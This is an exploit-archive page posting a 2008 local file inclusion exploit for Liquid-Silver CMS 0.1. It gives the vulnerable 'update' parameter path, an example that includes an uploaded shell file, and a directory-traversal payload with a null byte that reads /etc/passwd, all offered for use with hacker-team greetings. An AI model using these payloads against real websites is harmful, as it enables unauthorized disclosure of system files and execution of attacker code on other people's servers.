[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Liquid-Silver CMS 0.1 (update) Local File Inclusion Vulnerability
# Published : 2008-01-23
# Author : Stack
# Previous Title : SLAED CMS 2.5 Lite (newlang) Local File Inclusion Vulnerability
# Next Title : Aconon Mail 2004 Remote Directory Traversal Vulnerability
####################################################################################
###### Liquid-Silver CMS Local File Inclusion Vulnerabilities #####
###### http://sourceforge.net/project/showfiles.php?group_id=171166 #####
###### author : Stack-Terrorist [v40] #####
###### foor read a php file > ?update=[name of file iwthout php] #####
###### for execute exploit does not write extention of file #####
###### #####
###### #####
###### exploit : /Script/update/index.php?update=/[name of file wthout php] #####
###### #####
###### example : /Script/update/index.php?update=/home/user/shell #####
###### #####
###### other files: update=../../../../etc/passwd%00 #####
###### #####
###### H-T Team , v4 Team , Tryag , no-hack all my friend #####
####################################################################################
# www.Syue.com [2008-01-23]